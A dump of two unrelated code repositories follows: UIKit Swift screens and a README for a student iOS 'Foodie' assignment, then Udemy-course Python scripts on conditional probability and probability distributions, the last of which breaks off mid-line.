UITabBarDelegate { func tabBar(_ tabBar: UITabBar, didSelect item: UITabBarItem) { print(item.tag) } } extension screen6VC:UIImagePickerControllerDelegate, UINavigationControllerDelegate { func imagePickerController(_ picker: UIImagePickerController, didFinishPickingMediaWithInfo info: [UIImagePickerController.InfoKey : Any]) { if let selectedImage = info[.originalImage] as? UIImage { ImageView.image = selectedImage } picker.dismiss(animated: true) } func imagePickerControllerDidCancel(_ picker: UIImagePickerController) { picker.dismiss(animated: true) } } <file_sep>/UIElements/UIElements/screen3VC.swift // // screen3VC.swift // UIElements // // Created by srk on 20/06/21. // Copyright © 2021 Nikunj. All rights reserved. // import UIKit class screen3VC: UIViewController { private let ImageView:UIImageView = { let imageView = UIImageView() imageView.contentMode = .scaleAspectFill imageView.clipsToBounds = true imageView.image = UIImage(named: "set3") return imageView }() private let Label:UILabel = { let label = UILabel() label.text = "Turn On Your Notifications!" label.textColor = UIColor.white label.font = UIFont.boldSystemFont(ofSize: 30) return label }() private let Switch:UISwitch = { let switcher = UISwitch() return switcher }() private let Continue:UIButton = { let button = UIButton() button.setTitle("Continue...", for: .normal) button.addTarget(self, action: #selector(moveTo), for: .touchUpInside) button.backgroundColor = #colorLiteral(red: 0.9254902005, green: 0.2352941185, blue: 0.1019607857, alpha: 1) button.titleLabel?.font = UIFont.boldSystemFont(ofSize: 40) button.layer.cornerRadius = 20 return button }() @objc func moveTo() { let vc = screen4VC() navigationController?.pushViewController(vc, animated: true) navigationController?.navigationBar.backgroundColor = #colorLiteral(red: 0.143452806, green: 0.1553194879, blue: 0.1725588291, alpha: 1) } override func viewDidLoad() { super.viewDidLoad() title = "Notification Setting" view.addSubview(ImageView) view.addSubview(Label) view.addSubview(Switch) view.addSubview(Continue) // Do any additional setup after loading the view. } override func viewDidLayoutSubviews() { super.viewDidLayoutSubviews() ImageView.frame = CGRect(x: 50, y: 200, width: 300, height: 300) Label.frame = CGRect(x: 30, y: ImageView.bottom + 40, width: view.width - 40, height: 40) Switch.frame = CGRect(x: 180, y: Label.bottom + 20, width: view.width - 160, height: 40) Continue.frame = CGRect(x: 20, y: Switch.bottom + 60, width: view.width - 40, height: 60) } /* // MARK: - Navigation // In a storyboard-based application, you will often want to do a little preparation before navigation override func prepare(for segue: UIStoryboardSegue, sender: Any?) { // Get the new view controller using segue.destination. // Pass the selected object to the new view controller. } */ } <file_sep>/UIElements/UIElements/mainVC.swift // // mainVC.swift // UIElements // // Created by srk on 19/06/21. // Copyright © 2021 Nikunj. All rights reserved. // import UIKit class mainVC: UIViewController { private let ImageView:UIImageView = { let imageView = UIImageView() imageView.contentMode = .scaleAspectFill imageView.clipsToBounds = true imageView.image = UIImage(named: "set1") return imageView }() private let Label1:UILabel = { let label = UILabel() label.text = "Hello!" label.textColor = UIColor.white label.font = UIFont.boldSystemFont(ofSize: 40) // label.textAlignment = .center return label }() private let Label2:UILabel = { let label = UILabel() label.text = "Let's Get" label.textColor = UIColor.white label.font = UIFont.boldSystemFont(ofSize: 40) // label.textAlignment = .center return label }() private let Label3:UILabel = { let label = UILabel() label.text = "Started" label.textColor = UIColor.white label.font = UIFont.boldSystemFont(ofSize: 40) // label.textAlignment = .center return label }() private let SignUp:UIButton = { let button = UIButton() button.setTitle("Sign Up", for: .normal) button.addTarget(self, action: #selector(moveTo), for: .touchUpInside) button.backgroundColor = #colorLiteral(red: 0.9254902005, green: 0.2352941185, blue: 0.1019607857, alpha: 1) button.titleLabel?.font = UIFont.boldSystemFont(ofSize: 40) button.layer.cornerRadius = 20 return button }() @objc func moveTo() { let vc = screen1VC() navigationController?.pushViewController(vc, animated: true) navigationController?.navigationBar.backgroundColor = #colorLiteral(red: 0.143452806, green: 0.1553194879, blue: 0.1725588291, alpha: 1) } override func viewDidLoad() { super.viewDidLoad() view.backgroundColor = #colorLiteral(red: 0.05821686248, green: 0.05879326706, blue: 0.05879326706, alpha: 1) self.navigationController?.navigationBar.backgroundColor = #colorLiteral(red: 0.2549019754, green: 0.2745098174, blue: 0.3019607961, alpha: 1) view.addSubview(ImageView) view.addSubview(SignUp) view.addSubview(Label1) view.addSubview(Label2) view.addSubview(Label3) // Do any additional setup after loading the view, typically from a nib. } override func viewDidLayoutSubviews() { super.viewDidLayoutSubviews() ImageView.frame = CGRect(x: 50, y: 200, width: 300, height: 300) Label1.frame = CGRect(x: 30, y: ImageView.bottom + 60, width: view.width - 40, height: 40) Label2.frame = CGRect(x: 30, y: Label1.bottom + 10, width: view.width - 40, height: 40) Label3.frame = CGRect(x: 30, y: Label2.bottom + 10, width: view.width - 40, height: 40) SignUp.frame = CGRect(x: 20, y: Label3.bottom + 30, width: view.width - 40, height: 60) } } <file_sep>/README.md # UIElements Foodie iOS App ## Foodie App ### Welcome To The Food World ## Emphasis *It's a small work app for assignment* ### Elements * UILabel * UITextField * UITextView * UIButton * UIDatePicker * UISegmentedControl * UISlider * UIStepper * UISwitch * UIActivityIndicatorView * UIImageView * UIProgressView * UIPickerView * UIToolbar * UITabBar * UIImagePickerController ## Screenshots ![1](https://user-images.githubusercontent.com/81278594/122809327-97271300-d2eb-11eb-83d7-2347829cfa9a.png) ![2](https://user-images.githubusercontent.com/81278594/122809403-b45be180-d2eb-11eb-8096-dbc134fd1853.png) ![3](https://user-images.githubusercontent.com/81278594/122809424-baea5900-d2eb-11eb-8ba3-855c0fbaaee3.png) ![4](https://user-images.githubusercontent.com/81278594/122809431-bcb41c80-d2eb-11eb-992c-925bdbd752b3.png) ![5](https://user-images.githubusercontent.com/81278594/122809439-bf167680-d2eb-11eb-8a21-6e7d96d78878.png) ![6](https://user-images.githubusercontent.com/81278594/122809446-c047a380-d2eb-11eb-8811-6a741dfb6adc.png) ![7](https://user-images.githubusercontent.com/81278594/122809451-c2116700-d2eb-11eb-96a3-fe87f8963ea1.png) ![8](https://user-images.githubusercontent.com/81278594/122809458-c3429400-d2eb-11eb-9005-e92e94bde10a.png) <file_sep>/UIElements/UIElements/screen5VC.swift // // screen5VC.swift // UIElements // // Created by srk on 21/06/21. // Copyright © 2021 Nikunj. All rights reserved. // import UIKit class screen5VC: UIViewController { private let Label1:UILabel = { let label = UILabel() label.text = "Select Your Destination" label.textColor = UIColor.black label.textAlignment = .center label.font = UIFont.boldSystemFont(ofSize: 30) return label }() private let PickerView = UIPickerView() private let pickerData = ["Varachha", "Vesu", "Udhana", "Adajan", "Muglisarai"] private let Continue:UIButton = { let button = UIButton() button.setTitle("Continue...", for: .normal) button.addTarget(self, action: #selector(moveTo), for: .touchUpInside) button.backgroundColor = #colorLiteral(red: 0.9254902005, green: 0.2352941185, blue: 0.1019607857, alpha: 1) button.titleLabel?.font = UIFont.boldSystemFont(ofSize: 40) button.layer.cornerRadius = 20 return button }() @objc func moveTo() { let vc = screen6VC() navigationController?.pushViewController(vc, animated: true) let nav = UINavigationController(rootViewController: vc) nav.modalPresentationStyle = .fullScreen nav.setNavigationBarHidden(true, animated: false) present(nav, animated: false) } override func viewDidLoad() { super.viewDidLoad() title = "Destination" view.backgroundColor = UIColor.white view.addSubview(Label1) view.addSubview(PickerView) view.addSubview(Continue) PickerView.dataSource = self PickerView.delegate = self // Do any additional setup after loading the view. } override func viewDidLayoutSubviews() { super.viewDidLayoutSubviews() Label1.frame = CGRect(x: 20, y: 120, width: view.width - 40, height: 40) PickerView.frame = CGRect(x: 20, y: Label1.bottom + 20, width: view.width - 40, height: 50) Continue.frame = CGRect(x: 20, y: PickerView.bottom + 40, width: view.width - 40, height: 60) } /* // MARK: - Navigation // In a storyboard-based application, you will often want to do a little preparation before navigation override func prepare(for segue: UIStoryboardSegue, sender: Any?) { // Get the new view controller using segue.destination. // Pass the selected object to the new view controller. } */ } extension screen5VC: UIPickerViewDataSource, UIPickerViewDelegate { func numberOfComponents(in pickerView: UIPickerView) -> Int { return 1 } func pickerView(_ pickerView: UIPickerView, numberOfRowsInComponent component: Int) -> Int { return pickerData.count } func pickerView(_ pickerView: UIPickerView, titleForRow row: Int, forComponent component: Int) -> String? { return pickerData[row] } func pickerView(_ pickerView: UIPickerView, didSelectRow row: Int, inComponent component: Int) { print(pickerData[row]) } } <file_sep>/UIElements/UIElements/screen4VC.swift // // screen4VC.swift // UIElements // // Created by srk on 21/06/21. // Copyright © 2021 Nikunj. All rights reserved. // import UIKit class screen4VC: UIViewController { private let Label1:UILabel = { let label = UILabel() label.text = "More Details..." label.textColor = UIColor.black label.font = UIFont.boldSystemFont(ofSize: 40) // label.textAlignment = .center return label }() private let Label2:UILabel = { let label = UILabel() label.text = "Gender" label.textColor = UIColor.black label.font = UIFont.boldSystemFont(ofSize: 20) return label }() private let SegmentedControl:UISegmentedControl = { let segControl = UISegmentedControl() segControl.insertSegment(withTitle: "Male", at: 0, animated: true) segControl.insertSegment(withTitle: "Female", at: 1, animated: true) return segControl }() private let Label3:UILabel = { let label = UILabel() label.text = "Height" label.textColor = UIColor.black label.font = UIFont.boldSystemFont(ofSize: 20) return label }() private let TextView:UITextView = { let textView = UITextView() textView.text = "" textView.font = UIFont.systemFont(ofSize: 20) textView.textAlignment = .center textView.backgroundColor = #colorLiteral(red: 0.9637209141, green: 0.9637209141, blue: 0.9637209141, alpha: 1) textView.layer.cornerRadius = 20 return textView }() private let Stepper:UIStepper = { let stepper = UIStepper() stepper.minimumValue = 0 stepper.maximumValue = 10 stepper.addTarget(self, action: #selector(takeHeight), for: .valueChanged) return stepper }() @objc func takeHeight(){ let height = Stepper.value TextView.text = String(height) ActivityIndicatorView.isHidden = true ActivityIndicatorView.stopAnimating() Continue.isHidden = false } private let ActivityIndicatorView:UIActivityIndicatorView = { let activity = UIActivityIndicatorView() activity.color = UIColor.black activity.startAnimating() return activity }() private let Continue:UIButton = { let button = UIButton() button.setTitle("Continue...", for: .normal) button.addTarget(self, action: #selector(moveTo), for: .touchUpInside) button.backgroundColor = #colorLiteral(red: 0.9254902005, green: 0.2352941185, blue: 0.1019607857, alpha: 1) button.titleLabel?.font = UIFont.boldSystemFont(ofSize: 40) button.layer.cornerRadius = 20 button.isHidden = true return button }() @objc func moveTo() { let vc = screen5VC() navigationController?.pushViewController(vc, animated: true) navigationController?.navigationBar.backgroundColor = #colorLiteral(red: 0.143452806, green: 0.1553194879, blue: 0.1725588291, alpha: 1) } override func viewDidLoad() { super.viewDidLoad() title = "Personal Details" view.backgroundColor = UIColor.white view.addSubview(Label1) view.addSubview(Label2) view.addSubview(SegmentedControl) view.addSubview(TextView) view.addSubview(Label3) view.addSubview(Stepper) view.addSubview(ActivityIndicatorView) view.addSubview(Continue) // Do any additional setup after loading the view. } override func viewDidLayoutSubviews() { super.viewDidLayoutSubviews() Label1.frame = CGRect(x: 30, y: 120, width: view.width - 40, height: 50) Label2.frame = CGRect(x: 20, y: Label1.bottom + 20, width: view.width - 40, height: 20) SegmentedControl.frame = CGRect(x: 20, y: Label2.bottom + 20, width: view.width - 40, height: 40) Label3.frame = CGRect(x: 20, y: SegmentedControl.bottom + 30, width: view.width - 40, height: 20) TextView.frame = CGRect(x: 20, y: Label3.bottom + 20, width: view.width - 160, height: 40) Stepper.frame = CGRect(x: 300, y: 350, width: view.width - 40, height: 50) ActivityIndicatorView.frame = CGRect(x: 30, y: Stepper.bottom + 20, width: view.width - 40, height: 40) Continue.frame = CGRect(x: 20, y: ActivityIndicatorView.bottom + 40, width: view.width - 40, height: 60) } /* // MARK: - Navigation // In a storyboard-based application, you will often want to do a little preparation before navigation override func prepare(for segue: UIStoryboardSegue, sender: Any?) { // Get the new view controller using segue.destination. // Pass the selected object to the new view controller. } */ }
70d64c237c54d4a6dfe4148a307f5fbaa87525e5
[ "Swift", "Markdown" ]
8
Swift
imNK2204/UIElements
2724fee4255c9e4eeef720e4ad9e9a7f5b104080
7a084545658e47487367bd48b6a7bcb91bd9076f
refs/heads/master
<repo_name>ashtoncoghlan/iym_final<file_sep>/db/migrate/20160113172345_change_format_of_semesters.rb class ChangeFormatOfSemesters < ActiveRecord::Migration def change remove_column :semesters, :marking_period end end <file_sep>/todo.txt Admissions officer membership application - []Form: application - Page: Thanks for requesting to sign up! We’ll get back to you in 2-3 business days. In the meantime, checkout… - Membership application email - Have you forgotten about us? Please finish your application. - Membership application email - thanks for requesting to sign up - Membership application email - we’d like more information, can we speak on the phone or - Skype? - Membership application email - you’ve been accepted! - Membership application email - Sorry, you did not get accepted. If you think this is a mistake, please contact us… Prospective student membership application - Form: application - Page: Thanks for requesting to sign up! We’ll get back to you in 2-3 business days. In the meantime, checkout… - Membership application email - Have you forgotten about us? Please finish your application. - Membership application email - thanks for requesting to sign up - Membership application email - we’d like more information, can we speak on the phone or - Skype? - Membership application email - you’ve been accepted! - Membership application email - Sorry, you did not get accepted. If you think this is a mistake, please contact us… studentList - mouseOver options like Pinterest (JQuery)<file_sep>/config/routes.rb Rails.application.routes.draw do resources :semesters resources :comments resources :sports resources :students resources :charts, only: [:show] get 'charts/show' get 'home/index' devise_for :users root to: "home#index" end <file_sep>/db/migrate/20160111185116_drop_grades_table.rb class DropGradesTable < ActiveRecord::Migration def change drop_table :grades end end <file_sep>/db/migrate/20160111191611_add_columns_to_semester.rb class AddColumnsToSemester < ActiveRecord::Migration def change add_column :semesters, :math, :integer add_column :semesters, :science, :integer add_column :semesters, :english, :integer add_column :semesters, :social_studies, :integer remove_column :semesters, :title remove_column :semesters, :transcript_id end end <file_sep>/spec/factories/semesters.rb FactoryGirl.define do factory :semester do title "MyString" transcript nil end end <file_sep>/spec/factories/transcripts.rb FactoryGirl.define do factory :transcript do school "MyString" image "MyString" student nil end end <file_sep>/spec/factories/courses.rb FactoryGirl.define do factory :course do name "MyString" grade "MyString" semester nil end end <file_sep>/app/views/students/index.json.jbuilder json.array!(@students) do |student| json.extract! student, :id, :last_name, :first_name, :description, :gender, :dob, :current_school, :current_grade, :interests, :picture, :user_id json.url student_url(student, format: :json) end <file_sep>/app/views/sports/index.json.jbuilder json.array!(@sports) do |sport| json.extract! sport, :id, :name, :years_played, :positions, :awards, :student_id json.url sport_url(sport, format: :json) end <file_sep>/app/models/student.rb class Student < ActiveRecord::Base mount_uploader :picture, PictureUploader belongs_to :user has_many :comments has_many :sports, dependent: :destroy accepts_nested_attributes_for :sports, allow_destroy: true has_many :addresses, dependent: :destroy accepts_nested_attributes_for :addresses, allow_destroy: true has_many :semesters, dependent: :destroy accepts_nested_attributes_for :semesters, allow_destroy: true validates :first_name, presence: true validates :last_name, presence: true def to_s first_name + " " + last_name end end <file_sep>/app/controllers/concerns/charts_controller.rb class ChartsController < ApplicationController def show end private def student_params params.require(:student).permit(:name, :student_id) end end<file_sep>/app/controllers/students_controller.rb class StudentsController < ApplicationController before_action :set_student, only: [:show, :edit, :update, :destroy] def index @students = Student.all end def show @comments = @student.comments.all @comment = @student.comments.build @semester = @student.semesters.build end def new @student = Student.new @student.sports.build @student.addresses.build @student.transcripts.build @student.semesters.build end def edit @student.sports.build @student.addresses.build @student.transcripts.build @student.semesters.build end def create @student = Student.new(student_params) respond_to do |format| if @student.save format.html { redirect_to @student, notice: 'Student was successfully created.' } format.json { render :show, status: :created, location: @student } else format.html { render :new } format.json { render json: @student.errors, status: :unprocessable_entity } end end end def update respond_to do |format| if @student.update(student_params) format.html { redirect_to @student, notice: 'Student was successfully updated.' } format.json { render :show, status: :ok, location: @student } else format.html { render :edit } format.json { render json: @student.errors, status: :unprocessable_entity } end end end def destroy @student.destroy respond_to do |format| format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' } format.json { head :no_content } end end private def set_student @student = Student.find(params[:id]) end def student_params params.require(:student).permit(:picture, :last_name, :first_name, :description, :gender, :dob, :current_school, :current_grade, :interests, :user_id, sports_attributes: [:id, :name, :years_played, :positions, :awards, :_destroy], addresses_attributes: [:id, :street, :city, :state, :zipcode, :student_id], transcripts_attributes: [:id, :school, :student_id, :picture], semesters_attributes: [:id, :marking_period, :year, :student_id, :math, :science, :english, :social_studies]) end end <file_sep>/spec/features/smoke_spec.rb require "rails_helper" RSpec.feature "User views homepage" do scenario "it sees Welcome" do visit root_path expect(page).to have_text("Inspiring") end end <file_sep>/app/controllers/semesters_controller.rb class SemestersController < ApplicationController def index @semesters = Semester.all end end<file_sep>/spec/factories/addresses.rb FactoryGirl.define do factory :address do street "MyString" city "MyString" state "MyString" zipcode 1 student nil end end <file_sep>/app/controllers/sports_controller.rb class SportsController < ApplicationController def index @sports = Sport.all end end<file_sep>/app/views/semesters/index.json.jbuilder json.array!(@semesters) do |semester| json.extract! semester, :id, :student_id, :marking_period, :year, :math, :science, :english, :social_studies json.url semester_url(semester, format: :json) end <file_sep>/spec/factories/charts.rb FactoryGirl.define do factory :chart do name "MyString" student 1 end end
c93d6a98190172a4f70213cc2f7fb6ad84fb42f3
[ "Text", "Ruby" ]
19
Ruby
ashtoncoghlan/iym_final
bedd0ce35c742f74d8aef870dc280bc8a9dfc856
99ba9b3a626cdd748895c919a8dd827d67f961ff
refs/heads/master
<file_sep>package de.darxi.processing.sketches; import processing.core.PApplet; import processing.core.PImage; import processing.opengl.*; public class ImageManipExp extends PApplet { PImage wasp; int t; static int W = 800; static int H = 300; static int Wc = W/2; static int Hc = H/2; public void setup(){ size(W,H); background(0); wasp = loadImage("images/wasp.jpg"); image(wasp,0,0,W,H); } public void draw(){ t++; //blend(wasp,0,0,W,H,0,0,Wc+t/1000,Hc+t/1000,LIGHTEST); //fadeOut(100); } public void fadeOut(float fade){ fill(0,255/fade); rect(0,0,W,H); } } <file_sep>package de.darxi.processing.sketches; import ddf.minim.AudioPlayer; import ddf.minim.Minim; import ddf.minim.analysis.BeatDetect; public class ThreeDimensionMusic extends AbstractSimpleSketch { Minim minim; AudioPlayer track; Float l = 0f; BeatDetect b = new BeatDetect(); public void setup() { minim = new Minim(this); track = minim.loadFile("omen.mp3"); track.play(); size(W,H,P3D); noStroke(); background(0); } public void draw() { background(0); T++; float lFactor = track.mix.level()*track.mix.level(); directionalLight(lFactor*500,lFactor*500,lFactor*500,0,0,-200); translate(0,Hc,100); for(int i = 0; i < 300; i++) { translate(i*0.5f,0,i*-0.3f); drawBox((float)Math.sqrt(track.mix.get(i)),i); } } public void keyPressed() { T = 0; } public void drawBox(float level,int delay){ fill(255); noStroke(); pushMatrix(); rotateX(2*PI/500*T); rotateY(2*PI/500*T*(delay*0.4f)); rotateZ(2*PI/500*T); box(200*level*2,200*level*2,200*level*2); popMatrix(); } public void stop() { track.close(); minim.stop(); } } <file_sep>package de.darxi.processing; import toxi.geom.*; import toxi.geom.mesh.*; import toxi.physics.*; import toxi.physics.behaviors.*; import toxi.processing.*; import processing.opengl.*; import processing.core.*; /** * This example demonstrates the new winged-edge mesh structure in combination with * the 3d verlet physics engine to simulate a crash test scenario. The winged-edge mesh * provides connectivity information for each mesh vertex which is used to create a * physical representation of the mesh and allows each vertex/particle to be connected with * springs. Every frame the mesh vertices are updated to the position of their corresponding * particle and due to the gravity in the space, the mesh is being deformed. * * <p>Usage: Press 'r' to restart the simulation.</p> */ /* * Copyright (c) 2010 <NAME> * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * http://creativecommons.org/licenses/LGPL/2.1/ * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ public class ToxiParticles extends PApplet { private static final long serialVersionUID = 8397331804008509029L; ToxiclibsSupport gfx; VerletPhysics physics; WETriangleMesh box; public void setup() { size(680, 382, OPENGL); gfx = new ToxiclibsSupport(this); initPhysics(); } public void draw() { physics.update(); // update mesh vertices based on the current particle positions for (Vertex v : box.vertices.values()) { v.set(physics.particles.get(v.id)); } // update mesh normals box.computeFaceNormals(); // setup lighting background(51); //lighting lights(); directionalLight(255, 255, 255, -200, 1000, 500); specular(100); shininess(100); // point camera at mesh centroid Vec3D c = box.computeCentroid(); camera(-100, -50, 80, c.x, c.y, c.z, 0, 1, 0); // draw coordinate system gfx.origin(new Vec3D(), 50); // draw physics bounding box stroke(255, 80); noFill(); gfx.box(physics.getWorldBounds()); // draw car fill(160); //noStroke(); gfx.mesh(box, false, 0); } void initPhysics() { physics = new VerletPhysics(); box = new WETriangleMesh().addMesh(new STLReader().loadBinary(openStream("audi.stl"),"car",STLReader.WEMESH)); // properly orient and scale mesh box.rotateX(PI); box.scale(80); // adjust physics bounding box based on car (but bigger) // and align car with bottom of the new box AABB bounds = box.getBoundingBox(); Vec3D ext = bounds.getExtent(); Vec3D min = bounds.sub(ext.scale(4, 3, 2)); Vec3D max = bounds.add(ext.scale(4, 3, 2)); physics.setWorldBounds(AABB.fromMinMax(min, max)); box.translate(new Vec3D(ext.scale(3, 2, 0))); // set gravity along negative X axis with slight downward physics.addBehavior(new GravityBehavior(new Vec3D(-0.01f, 0, 0))); // turn mesh vertices into physics particles for (Vertex v : box.vertices.values()) { physics.addParticle(new VerletParticle(v)); } // turn mesh edges into springs for (WingedEdge e : box.edges.values()) { VerletParticle a = physics.particles.get(((WEVertex) e.a).id); VerletParticle b = physics.particles.get(((WEVertex) e.b).id); physics.addSpring(new VerletSpring(a, b, a.distanceTo(b), 1f)); } } public void keyPressed() { if (key == 'r') { initPhysics(); } } }
187933d152aa570659803adf62c3e220c22c769a
[ "Java" ]
3
Java
darxide/ProcessingPlay
7fefc96e60241a6039519a684a49b0ebf0ee2c75
122e879c2d80420145ffce7926262af10fec0cbb
refs/heads/master
<repo_name>prakashabhinav/Data-Science<file_sep>/10. UC - Practice - Python Conditional Probability.py # -*- coding: utf-8 -*- """ Udemy Course - Conditional Probability : 06-Sep-2019 """ # Conditional Probability - Way to measure the relationship of two things happening in relation to each other # Conditional Probability - If we have two events that depend on each other, what's the probability that both will occur # Conditional Probability - Notation : P(A,B) is the probability of A and B both occurring independent of each other # Conditional Probability - Notation : P(B|A) is the probability of B given that A has occurred # Conditional Probability - P(B|A) = P(A,B) / P(A) # Conditional Probability - Example # Code to create some fake data on how much stuff people purchase given their age range. # It generates 100,000 random "people" and randomly assigns them as being in their 20's, 30's, 40's, 50's, 60's, or 70's. # It then assigns a lower probability for young people to buy stuff. # In the end, we have two Python dictionaries: # "totals" contains the total number of people in each age group. # "purchases" contains the total number of things purchased by people in each age group. # The grand total of purchases is in totalPurchases, and we know the total number of people is 100,000. # Import required libraries from numpy import random # Imports random method from numpy # Setting the random seed random.seed(0) # Setting the random seed to generate random numbers totals = {20:0, 30:0, 40:0, 50:0, 60:0, 70:0} # Creating dictionary for random totals purchases = {20:0, 30:0, 40:0, 50:0, 60:0, 70:0} # Creating dictionary for random purchases totalPurchases = 0 # Initializing totalPurchases # random.random() function # Generates random float uniformly in the semi-open range [0.0, 1.0) # random.choice() function # Returns a random element from the non-empty sequence like from a list, Set, Dictionary for _ in range(100000): # Loop to generate random values ageDecade = random.choice([20, 30, 40, 50, 60, 70]) # Sorting 100,000 age values into different age groups purchaseProbability = float(ageDecade) / 100.0 # Deciding probability based on the age groups totals[ageDecade] += 1 # Taking total of age groups if (random.random() < purchaseProbability): # Comparing probabilities by generating random probabilities through random totalPurchases += 1 # Taking total of purchases purchases[ageDecade] += 1 # Taking total of purchases in a decade # Display variable values totals # Display the total population in each age group (decade) purchases # Display the total purchases in each age group (decade) totalPurchases # Display the total purchases <file_sep>/5. UC - Practice - Python Probability Density and Mass Function.py # -*- coding: utf-8 -*- """ Udemy Course - Probability Density Function and Probability Mass Function : 30-Aug-2019 """ # Probability Density Function and Probability Mass Function # Probability Density Function : For Continuous Data, an example is the Normal distribution # Probability Density Function : Gives the probability of a data point falling within some given range of a given value # Normal Distribution : -1 SD to +1 SD : 68.2 Percent # Normal Distribution : -2 SD to +2 SD : 95.4 Percent # Normal Distribution : -3 SD to +3 SD : 99.6 Percent # Probability Mass Function : For Discrete Data # Probability Density Function : Gives the probability of a data point falling within some given range of a given value # Normal Distribution : -1 SD to +1 SD : 68.2 Percent # Normal Distribution : -2 SD to +2 SD : 95.4 Percent # Normal Distribution : -3 SD to +3 SD : 99.6 Percent # Probability Density Functions # Distributions for Probability Density Functions # Import required libraries import numpy as np # Makes calculation of Mean, Median, Mode, Standard Deviation, Variance import matplotlib.pyplot as plt # Makes graphs for visualisation # Uniform Distribution - Flat, constant probability # Uniform Distribution - Equal chance of a value occuring within a given range # Uniform Distribution Probability Distribution Function # Generate random numbers with uniform distribution - Set 1 values = np.random.uniform(-10.0, 10.0, 100000) # Generate random numbers with uniform distribution # Segment the income data into 50 buckets, and plot it as a histogram plt.hist(values, 50) # Segments the data into 50 buckets plt.show() # Display the histogram # Calculate Standard Deviation values.std() # Display the standard deviation # Calculate Variance values.var() # Display the variance # Generate random numbers with uniform distribution - Set 2 values = np.random.uniform(100.0, 50.0, 100000) # Generate random numbers with uniform distribution # Segment the income data into 50 buckets, and plot it as a histogram plt.hist(values, 50) # Segments the data into 50 buckets plt.show() # Display the histogram # Calculate Standard Deviation values.std() # Display the standard deviation # Calculate Variance values.var() # Display the variance # Normal / Gaussian Distribution - Bell curve PDF # Normal / Gaussian Disribution Probability Distribution Function # Import required libraries from scipy.stats import norm # Provides pdf function to create probability density function for normal distribution import matplotlib.pyplot as plt # Makes graphs for visualisation # Generate random numbers in the specified range with a step value of 0.001 - Set 1 x = np.arange(-3, 3, 0.001) # Generate random numbers within -3 to + 3 with an increment of 0.001 # Plot the normal distribution curve plt.plot(x, norm.pdf(x)) # Display the normal distribution curve # Generate random numbers in the specified range with a step value of 0.001 - Set 2 x = np.arange(-5, 15, 0.001) # Generate random numbers within -5 to + 15 with an increment of 0.001 # Plot the normal distribution curve plt.plot(x, norm.pdf(x)) # Display the normal distribution curve # Normal Distribution Probability Distribution Function # Generate random numbers with normal distribution, "mu" is the desired mean and "sigma" is the standard deviation - Set 1 # Import required libraries import numpy as np # Makes calculation of Mean, Median, Mode, Standard Deviation, Variance import matplotlib.pyplot as plt # Makes graphs for visualisation mu = 5.0 # Desired mean value sigma = 2.0 # Desired standard deviation value values = np.random.normal(mu, sigma, 10000) # Generate random numbers with the provided mean and standard deviation values # Segment the income data into 50 buckets, and plot it as a histogram plt.hist(values, 50) # Segments the data into 50 buckets plt.show() # Display the histogram # Curve will not be the actual normal distribution curve as the numbers are still random # Generate random numbers with normal distribution, "mu" is the desired mean and "sigma" is the standard deviation - Set 2 mu = 15.0 # Desired mean value sigma = 50.0 # Desired standard deviation value values = np.random.normal(mu, sigma, 10000) # Generate random numbers with the provided mean and standard deviation values # Segment the income data into 50 buckets, and plot it as a histogram plt.hist(values, 50) # Segments the data into 50 buckets plt.show() # Display the histogram # Curve will not be the actual normal distribution curve as the numbers are still random # Exponential Probability Distribution Function / Power Law - Falls off in an exponential manner, # Exponential Probability Distribution Function / Power Law - Probability Very likely for something to happen near Zero # Exponential Probability Distribution Function / Power Law - Probability drops off as wemove away from Zero # Import required libraries from scipy.stats import expon # Provides pdf function to create probability density function for exponential dist import matplotlib.pyplot as plt # Makes graphs for visualisation # Generate random numbers in the specified range with a step value of 0.001 - Set 1 x = np.arange(0, 10, .001) # Generate random numbers within 0 to + 10 with an increment of 0.001 # Plot the exponential distribution curve plt.plot(x, expon.pdf(x)) # Display the exponential distribution curve # Exponential curve from 0 to 10 on X-Axis with probability 1 near Zero # Generate random numbers in the specified range with a step value of 0.001 - Set 2 x = np.arange(5, 10, .001) # Generate random numbers within + 5 to + 10 with an increment of 0.001 # Plot the exponential distribution curve plt.plot(x, expon.pdf(x)) # Display the exponential distribution curve # Exponential curve from 5 to 10 on X-Axis # Generate random numbers in the specified range with a step value of 0.001 - Set 3 x = np.arange(-5, 0, .001) # Generate random numbers within - 5 to 0 with an increment of 0.001 # Plot the exponential distribution curve plt.plot(x, expon.pdf(x)) # Display the exponential distribution curve # No Exponential curve from - 5 to 0 on X-Axis, only a straight line with Zero probability # Generate random numbers in the specified range with a step value of 0.001 - Set 4 x = np.arange(-5, 5, .001) # Generate random numbers within - 5 to + 5 with an increment of 0.001 # Plot the exponential distribution curve plt.plot(x, expon.pdf(x)) # Display the exponential distribution curve # No Exponential curve from - 5 to 0 on X-Axis, only a straight line with Zero probability # No Exponential curve at 0 on X-Axis, only a straight line with One probability # Exponential curve from 0 to + 5 on X-Axis # Probability Mass Functions - Deal with discrete data # Distributions for Probability Mass Functions # Binomial Distribution Probability Mass Function # Import required libraries from scipy.stats import binom # Provides pmf function to create probability mass function for binomial dist import matplotlib.pyplot as plt # Makes graphs for visualisation # Generate random numbers in the specified range with a step value of 0.001 - Set 1 x = np.arange (0, 10, 0.001) # Generate random numbers within 0 to + 10 with an increment of 0.001 # Shape parameters for creating the plot n, p = 10, 0.5 # Shape parameters for the binomial distribution curve # Plot the binomial distribution curve plt.plot(x, binom.pmf(x, n, p)) # Display the binomial distribution curve # Generate random numbers in the specified range with a step value of 0.001 - Set 2 x = np.arange (0, 10, 0.001) # Generate random numbers within 0 to + 10 with an increment of 0.001 # Shape parameters for creating the plot n, p = 20, 0.5 # Shape parameters for the binomial distribution curve # Plot the binomial distribution curve plt.plot(x, binom.pmf(x, n, p)) # Display the binomial distribution curve # Poisson Distribution Probability Mass Function # Poisson Distribution - If we have some average number of things for a given period # Poisson Distribution - Gives a way to predict other values for another given day # Poisson Distribution - Example : A website gets on average 500 visits per day, what's the odds of getting 550 # Import required libraries from scipy.stats import poisson # Provides pmf function to create probability mass function for binomial dist import matplotlib.pyplot as plt # Makes graphs for visualisation # Generate random numbers in the specified range with a step value of 0.05 - Set 1 x = np.arange (400, 